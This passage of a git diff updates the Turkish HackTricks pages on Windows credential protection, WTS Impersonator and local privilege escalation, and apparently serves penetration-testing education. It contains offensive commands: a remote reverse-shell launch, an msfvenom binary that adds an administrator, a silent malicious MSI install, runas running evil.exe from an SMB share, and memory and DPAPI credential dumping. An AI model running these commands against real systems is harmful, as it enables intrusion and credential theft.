aktivasyonu hakkında talimatlar için [Microsoft'un belgelerine](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) göz atın. +Kapsamlı bir anlayış ve **Windows 10**'da **Credential Guard**'ı etkinleştirme ile **Windows 11 Enterprise ve Education (sürüm 22H2)** uyumlu sistemlerde otomatik aktivasyonu hakkında talimatlar için [Microsoft'un belgelerine](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) göz atın. Kimlik bilgilerini yakalamak için özel SSP'lerin uygulanmasıyla ilgili daha fazla ayrıntı [bu kılavuzda](../active-directory-methodology/custom-ssp.md) sağlanmaktadır. @@ -46,7 +46,7 @@ Kimlik bilgilerini yakalamak için özel SSP'lerin uygulanmasıyla ilgili daha f Geleneksel olarak, RDP aracılığıyla bir uzak bilgisayara bağlandığınızda, kimlik bilgileriniz hedef makinede saklanır. Bu, özellikle yükseltilmiş ayrıcalıklara sahip hesaplar kullanıldığında önemli bir güvenlik riski oluşturur. Ancak, _**Restricted Admin modu**_ ile bu risk önemli ölçüde azaltılmıştır. -**mstsc.exe /RestrictedAdmin** komutunu kullanarak bir RDP bağlantısı başlatıldığında, uzak bilgisayara kimlik doğrulaması yapılırken kimlik bilgileriniz üzerinde saklanmaz. Bu yaklaşım, bir kötü amaçlı yazılım enfeksiyonu durumunda veya kötü niyetli bir kullanıcının uzak sunucuya erişim sağlaması durumunda, kimlik bilgilerinizin tehlikeye girmediğini garanti eder, çünkü sunucuda saklanmazlar. +**mstsc.exe /RestrictedAdmin** komutunu kullanarak bir RDP bağlantısı başlatıldığında, uzak bilgisayara kimlik doğrulama, kimlik bilgilerinizin üzerinde saklanmadan gerçekleştirilir. Bu yaklaşım, bir kötü amaçlı yazılım enfeksiyonu durumunda veya kötü niyetli bir kullanıcının uzak sunucuya erişim sağlaması durumunda, kimlik bilgilerinizin tehlikeye girmediğini garanti eder, çünkü sunucuda saklanmamaktadır. **Restricted Admin modu**'nda, RDP oturumundan ağ kaynaklarına erişim girişimleri kişisel kimlik bilgilerinizi kullanmaz; bunun yerine **makinenin kimliği** kullanılır. @@ -92,16 +92,17 @@ Daha ayrıntılı bilgi için resmi [belgelere](https://docs.microsoft.com/en-us | Yöneticiler | Yöneticiler | Yöneticiler | Yöneticiler | | Yöneticiler | Yöneticiler | Yöneticiler | Yöneticiler | | Yedek Operatörleri | Yedek Operatörleri | Yedek Operatörleri | Yedek Operatörleri | -| Sertifika Yayımcıları | | | | +| Sertifika Yayımcıları | | | | | Alan Yöneticileri | Alan Yöneticileri | Alan Yöneticileri | Alan Yöneticileri | | Alan Denetleyicileri | Alan Denetleyicileri | Alan Denetleyicileri | Alan Denetleyicileri | | Kurumsal Yöneticiler | Kurumsal Yöneticiler | Kurumsal Yöneticiler | Kurumsal Yöneticiler | | | | | Kurumsal Anahtar Yöneticileri| | | | | Anahtar Yöneticileri | | Krbtgt | Krbtgt | Krbtgt | Krbtgt | -| Yazdırma Operatörleri | Yazdırma Operatörleri | Yazdırma Operatörleri | Yazdırma Operatörleri | +| Yazıcı Operatörleri | Yazıcı Operatörleri | Yazıcı Operatörleri | Yazıcı Operatörleri | | | | Salt okunur Alan Denetleyicileri | Salt okunur Alan Denetleyicileri| | Çoğaltıcı | Çoğaltıcı | Çoğaltıcı | Çoğaltıcı | | Şema Yöneticileri | Şema Yöneticileri | Şema Yöneticileri | Şema Yöneticileri | +| Sunucu Operatörleri | Sunucu Operatörleri | Sunucu Operatörleri | Sunucu Operatörleri | {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/wts-impersonator.md b/src/windows-hardening/stealing-credentials/wts-impersonator.md index 70887f4da..1902f0074 100644 --- a/src/windows-hardening/stealing-credentials/wts-impersonator.md +++ b/src/windows-hardening/stealing-credentials/wts-impersonator.md @@ -1,6 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} -**WTS Impersonator** aracı, **"\\pipe\LSM_API_service"** RPC İsimli borusunu kullanarak, oturum açmış kullanıcıları gizlice sayar ve onların token'larını ele geçirir, geleneksel Token Taklit tekniklerini atlar. Bu yaklaşım, ağlar içinde sorunsuz yan hareketler sağlamaktadır. Bu tekniğin yeniliği **Omri Baso'ya atfedilmektedir; çalışmaları [GitHub](https://github.com/OmriBaso/WTSImpersonator)** üzerinde mevcuttur. +**WTS Impersonator** aracı, **"\\pipe\LSM_API_service"** RPC İsimli borusunu kullanarak, oturum açmış kullanıcıları gizlice listeleyip, geleneksel Token Taklit yöntemlerini atlayarak onların token'larını ele geçirir. Bu yaklaşım, ağlar içinde sorunsuz yan hareketler sağlamaktadır. Bu tekniğin yeniliği **Omri Baso'ya atfedilmektedir; çalışmaları [GitHub](https://github.com/OmriBaso/WTSImpersonator)** üzerinde mevcuttur. ### Temel İşlevsellik @@ -10,7 +10,7 @@ WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → ``` ### Ana Modüller ve Kullanım -- **Kullanıcıları Listeleme**: Araç ile yerel ve uzaktan kullanıcı listeleme mümkündür, her iki senaryo için komutlar kullanılarak: +- **Kullanıcıları Listeleme**: Araç ile yerel ve uzaktan kullanıcı listeleme mümkündür, her iki senaryo için de komutlar kullanılır: - Yerel: ```powershell @@ -39,7 +39,7 @@ WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2 ``` -- **Kullanıcı Avlama Modülü**: Birden fazla makinede belirli kullanıcıları hedef alır, onların kimlik bilgileri altında kod çalıştırır. Bu, birden fazla sistemde yerel yönetici haklarına sahip Alan Yöneticilerini hedef almak için özellikle yararlıdır. +- **Kullanıcı Avlama Modülü**: Birden fazla makinede belirli kullanıcıları hedef alır, onların kimlik bilgileri altında kod çalıştırır. Bu, birden fazla sistemde yerel yönetici haklarına sahip Alan Yöneticilerini hedef almak için özellikle faydalıdır. - Kullanım örneği: ```powershell .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 5642f4b13..28b1f8348 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -32,7 +32,7 @@ integrity-levels.md ## Windows Güvenlik Kontrolleri -Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyalar çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **engelleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki **sayfayı** **okuyun** ve tüm bu **savunma** **mekanizmalarını** **listeleyin**: +Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyalar çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **engelleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce **aşağıdaki sayfayı okuyun** ve **tüm bu savunma** **mekanizmalarını** **listeleyin**: {{#ref}} ../authentication-credentials-uac-and-efs/ @@ -42,7 +42,7 @@ Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyalar çalıştı ### Sürüm bilgisi listeleme -Windows sürümünün bilinen bir güvenlik açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). +Windows sürümünün bilinen bir açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -163,11 +163,11 @@ Eğer şu şekilde bir yanıt alırsanız: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 ``` -Ve eğer `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` `1` değerine eşitse. +Ve eğer `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` değeri `1` ise. -O zaman, **sömürülebilir.** Eğer son kayıt 0 değerine eşitse, o zaman WSUS girişi göz ardı edilecektir. +O zaman, **sömürülebilir.** Eğer son kayıt 0'a eşitse, WSUS girişi göz ardı edilecektir. -Bu güvenlik açıklarını sömürmek için [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) gibi araçlar kullanabilirsiniz - Bunlar, SSL olmayan WSUS trafiğine 'sahte' güncellemeler enjekte etmek için MiTM silahlandırılmış sömürü scriptleridir. +Bu güvenlik açıklarını sömürmek için [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) gibi araçlar kullanabilirsiniz - Bunlar, SSL olmayan WSUS trafiğine 'sahte' güncellemeler enjekte etmek için MiTM silahlandırılmış sömürü betikleridir. Araştırmayı burada okuyun: @@ -178,9 +178,9 @@ Araştırmayı burada okuyun: [**Tam raporu burada okuyun**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Temelde, bu hatanın sömürdüğü kusur şudur: -> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz. +> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi kesmek ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz. > -> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada birinci kullanımda güven türü doğrulama uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adına sahipse, hizmet tarafından kabul edilecektir. +> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini kesebileceğiz. WSUS, sertifikada bir ilk kullanımda güven mekanizması uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adına sahipse, hizmet tarafından kabul edilecektir. Bu güvenlik açığını [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla (serbest bırakıldığında) sömürebilirsiniz. @@ -241,11 +241,11 @@ create-msi-with-wix.md - **Uygulama Klasörü**'ne çift tıklayın, **beacon.exe** dosyanızı seçin ve **Tamam**'a tıklayın. Bu, yükleyici çalıştırıldığında beacon yükünün hemen çalıştırılmasını sağlayacaktır. - **Özel Eylem Özellikleri** altında **Run64Bit**'i **True** olarak değiştirin. - Son olarak, **oluşturun**. -- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı görünüyorsa, platformu x64 olarak ayarladığınızdan emin olun. +- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı gösteriliyorsa, platformu x64 olarak ayarladığınızdan emin olun. ### MSI Kurulumu -Kötü niyetli `.msi` dosyasının **arka planda** **kurulumunu** çalıştırmak için: +Kötü niyetli `.msi` dosyasının **kurulumunu** **arka planda** çalıştırmak için: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` @@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, bir domaine katılan bilgisayarlarda güvenli bir şekilde Active Directory içinde saklanır ve yalnızca yeterli izinlere sahip kullanıcılar tarafından erişilebilir, bu da onlara yetkilendirildiklerinde yerel yönetici şifrelerini görüntüleme imkanı tanır. +**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler. {{#ref}} ../active-directory-methodology/laps.md @@ -275,14 +275,14 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Eğer aktifse, **düz metin şifreler LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) içinde saklanır.\ -[**WDigest hakkında daha fazla bilgi bu sayfada**](../stealing-credentials/credentials-protections.md#wdigest). +Eğer aktifse, **düz metin şifreler LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti) içinde saklanır.\ +[**WDigest hakkında daha fazla bilgi için bu sayfaya bakın**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Koruması -**Windows 8.1** ile birlikte, Microsoft, sistemin güvenliğini artırmak için Güvenlik Yerel Otoritesi (LSA) için geliştirilmiş koruma sundu ve güvenilmeyen süreçlerin **belleğini okuma** veya kod enjekte etme girişimlerini **engelledi**.\ +**Windows 8.1** ile birlikte, Microsoft, sistemin güvenliğini artırmak için Güvenlik Yerel Otoritesi (LSA) için geliştirilmiş koruma sundu ve **güvensiz** süreçlerin **belleğini okuma** veya kod enjekte etme girişimlerini **engelledi**.\ [**LSA Koruması hakkında daha fazla bilgi burada**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL @@ -295,14 +295,14 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Önbelleklenmiş Kimlik Bilgileri -**Alan kimlik bilgileri**, **Yerel Güvenlik Otoritesi** (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri, kayıtlı bir güvenlik paketi tarafından doğrulandığında, kullanıcı için genellikle alan kimlik bilgileri oluşturulur.\ -[**Önbelleklenmiş Kimlik Bilgileri hakkında daha fazla bilgi burada**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Alan kimlik bilgileri**, **Yerel Güvenlik Otoritesi** (LSA) tarafından kimlik doğrulaması yapılır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri, kayıtlı bir güvenlik paketi tarafından kimlik doğrulaması yapıldığında, kullanıcı için genellikle alan kimlik bilgileri oluşturulur.\ +[**Önbelleklenmiş Kimlik Bilgileri hakkında daha fazla bilgi burada**]( ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Kullanıcılar ve Gruplar +## Kullanıcılar & Gruplar -### Kullanıcıları ve Grupları Listele +### Kullanıcıları & Grupları Listele Ait olduğunuz gruplardan herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz. ```bash @@ -329,8 +329,8 @@ Eğer **ayrıcalıklı bir gruba ait iseniz, ayrıcalıkları artırma imkanın ### Token manipülasyonu -**Token** nedir hakkında daha fazla bilgi edinin bu sayfada: [**Windows Token'ları**](../authentication-credentials-uac-and-efs/#access-tokens).\ -Aşağıdaki sayfayı kontrol edin **ilginç token'lar hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için: +**Daha fazla bilgi edinin** bir **token** nedir bu sayfada: [**Windows Tokenleri**](../authentication-credentials-uac-and-efs/#access-tokens).\ +Aşağıdaki sayfayı kontrol edin **ilginç tokenler hakkında bilgi edinmek** ve bunları nasıl kötüye kullanabileceğinizi öğrenmek için: {{#ref}} privilege-escalation-abusing-tokens.md @@ -359,7 +359,7 @@ powershell -command "Get-Clipboard" ### Dosya ve Klasör İzinleri Öncelikle, süreçleri listelemek **sürecin komut satırında şifreleri kontrol edin**.\ -Bazı çalışan **ikili dosyaları üzerine yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/) istismar etmek için: +Bazı çalışan **ikili dosyaları üzerine yazıp yazamayacağınızı kontrol edin** veya olası [**DLL Hijacking saldırılarını**](dll-hijacking/) istismar etmek için ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -381,7 +381,7 @@ icacls "%%z" ) ) ``` -**Süreç ikili dosyalarının klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/)**)** +**İşlem ikililerinin klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -391,7 +391,7 @@ todos %username%" && echo. ``` ### Bellek Şifre Madenciliği -Çalışan bir sürecin bellek dökümünü **procdump** kullanarak oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun. +Çalışan bir sürecin bellek dökümünü **procdump** kullanarak sysinternals'tan oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun. ```bash procdump.exe -accepteula -ma ``` @@ -399,7 +399,7 @@ procdump.exe -accepteula -ma **SYSTEM olarak çalışan uygulamalar, bir kullanıcının CMD açmasına veya dizinleri gezmesine izin verebilir.** -Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" için arama yapın, "Komut İstemini Açmak İçin Tıklayın" seçeneğine tıklayın +Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" araması yapın, "Komut İstemi'ni Açmak için Tıklayın" seçeneğine tıklayın ## Hizmetler @@ -445,7 +445,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` sc.exe config usosvc start= auto ``` -### **Servis ikili yolu değiştir** +### **Servis ikili yolunu değiştir** "Kimlik doğrulanmış kullanıcılar" grubunun bir serviste **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin çalıştırılabilir ikilisinin değiştirilmesi mümkündür. **sc**'yi değiştirmek ve çalıştırmak için: ```bash @@ -513,7 +513,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Alıntılanmamış Hizmet Yolları -Eğer bir çalıştırılabilir dosyanın yolu tırnak içinde değilse, Windows her boşluktan önceki sonu çalıştırmaya çalışacaktır. +Eğer bir çalıştırılabilir dosyanın yolu alıntı içinde değilse, Windows her boşluktan önceki sonu çalıştırmaya çalışacaktır. Örneğin, _C:\Program Files\Some Folder\Service.exe_ yolu için Windows şunları çalıştırmaya çalışacaktır: ```powershell @@ -541,7 +541,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```powershell gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Bu güvenlik açığını tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz: +**Bu zafiyeti tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` @@ -553,7 +553,7 @@ Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak ta ### Installed Applications -**ikili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/)). +**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -564,7 +564,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Yazma İzinleri -Bazı yapılandırma dosyalarını özel bir dosyayı okumak için değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin. +Bazı yapılandırma dosyalarını özel bir dosyayı okumak için değiştirebilir misiniz veya bir Yönetici hesabı tarafından çalıştırılacak bir ikili dosyayı (schedtasks) değiştirebilir misiniz kontrol edin. Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu: ```bash @@ -614,7 +614,7 @@ PATH içindeki tüm klasörlerin izinlerini kontrol edin: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Bu kontrolü nasıl kötüye kullanacağınız hakkında daha fazla bilgi için: +Daha fazla bilgi için bu kontrolü nasıl kötüye kullanacağınız hakkında: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -632,7 +632,7 @@ net share #Check current shares ``` ### hosts dosyası -hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin +hosts dosyasında sabit kodlanmış diğer bilinen bilgisayarları kontrol edin ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -658,11 +658,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Kuralları +### Güvenlik Duvarı Kuralları -[**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kurallar oluştur, kapat, kapat...)** +[**Güvenlik Duvarı ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kurallar oluştur, kapat, kapat...)** -Daha fazla[ ağ enumerasyonu komutları burada](../basic-cmd-for-pentesters.md#network) +Daha fazla [ağ numaralandırma komutları burada](../basic-cmd-for-pentesters.md#network) ### Windows Alt Sistemi için Linux (wsl) ```bash @@ -671,7 +671,7 @@ C:\Windows\System32\wsl.exe ``` Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` konumunda bulunabilir. -Eğer root kullanıcısı olursanız, herhangi bir portta dinleyebilirsiniz (ilk kez `nc.exe` kullanarak bir portta dinlediğinizde, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır). +Eğer root kullanıcısı alırsanız, herhangi bir portta dinleme yapabilirsiniz (ilk kez `nc.exe` ile bir portta dinleme yaptığınızda, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -703,7 +703,7 @@ Windows Kasa, **Windows**'un kullanıcıları otomatik olarak **giriş yapabilec Windows Kasa, Windows'un kullanıcıları otomatik olarak giriş yapabileceği kimlik bilgilerini saklar, bu da demektir ki, herhangi bir **Windows uygulaması, bir kaynağa erişmek için kimlik bilgilerine ihtiyaç duyuyorsa** bu Kimlik Bilgileri Yöneticisi ve Windows Kasa'dan yararlanabilir ve kullanıcıların her seferinde kullanıcı adı ve şifre girmesi yerine sağlanan kimlik bilgilerini kullanabilir. -Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve o kaynak için kimlik bilgilerini varsayılan depolama kasasından talep etmelidir.** +Uygulamalar Kimlik Bilgileri Yöneticisi ile etkileşime geçmediği sürece, belirli bir kaynak için kimlik bilgilerini kullanmalarının mümkün olduğunu düşünmüyorum. Bu nedenle, uygulamanız kasayı kullanmak istiyorsa, bir şekilde **kimlik bilgileri yöneticisi ile iletişim kurmalı ve varsayılan depolama kasasından o kaynak için kimlik bilgilerini talep etmelidir**. Makinedeki saklanan kimlik bilgilerini listelemek için `cmdkey` kullanın. ```bash @@ -713,7 +713,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Sonra, kaydedilmiş kimlik bilgilerini kullanmak için `runas` komutunu `/savecred` seçenekleriyle kullanabilirsiniz. Aşağıdaki örnek, bir SMB paylaşımı aracılığıyla uzaktan bir ikili dosya çağırmaktadır. +Ardından, kaydedilmiş kimlik bilgilerini kullanmak için `runas` komutunu `/savecred` seçenekleriyle kullanabilirsiniz. Aşağıdaki örnek, bir SMB paylaşımı aracılığıyla uzaktan bir ikili dosya çağırmaktadır. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -725,11 +725,11 @@ Not edin ki mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util ### DPAPI -**Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, entropiye önemli ölçüde katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır. +**Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar ve esasen Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, önemli ölçüde entropiye katkıda bulunmak için bir kullanıcı veya sistem sırrını kullanır. **DPAPI, kullanıcı giriş sırlarından türetilen simetrik bir anahtar aracılığıyla anahtarların şifrelenmesini sağlar**. Sistem şifrelemesi içeren senaryolarda, sistemin alan kimlik doğrulama sırlarını kullanır. -DPAPI kullanarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier)'nı temsil eder. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir). +DPAPI kullanılarak şifrelenmiş kullanıcı RSA anahtarları, `%APPDATA%\Microsoft\Protect\{SID}` dizininde saklanır; burada `{SID}`, kullanıcının [Güvenlik Tanımlayıcısı](https://en.wikipedia.org/wiki/Security_Identifier)'nı temsil eder. **DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtar ile aynı dosyada yer alır** ve genellikle 64 bayt rastgele veriden oluşur. (Bu dizine erişimin kısıtlandığını ve içeriğinin CMD'de `dir` komutu ile listelenemediğini, ancak PowerShell aracılığıyla listelenebileceğini not etmek önemlidir). ```powershell Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -743,8 +743,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -**mimikatz modülünü** `dpapi::cred` ile uygun `/masterkey` ile şifre çözmek için kullanabilirsiniz.\ -**Bellekten birçok DPAPI** **masterkey** **çıkartabilirsiniz** `sekurlsa::dpapi` modülü ile (eğer root iseniz). +**mimikatz modülünü** `dpapi::cred` ile uygun `/masterkey` kullanarak şifre çözmek için kullanabilirsiniz.\ +**Bellekten birçok DPAPI** **masterkey** `sekurlsa::dpapi` modülü ile çıkarabilirsiniz (eğer root iseniz). {{#ref}} dpapi-extracting-passwords.md @@ -752,9 +752,9 @@ dpapi-extracting-passwords.md ### PowerShell Kimlik Bilgileri -**PowerShell kimlik bilgileri**, şifrelenmiş kimlik bilgilerini rahat bir şekilde saklamak için genellikle **betik yazma** ve otomasyon görevlerinde kullanılır. Kimlik bilgileri **DPAPI** kullanılarak korunur, bu genellikle yalnızca oluşturuldukları bilgisayarda 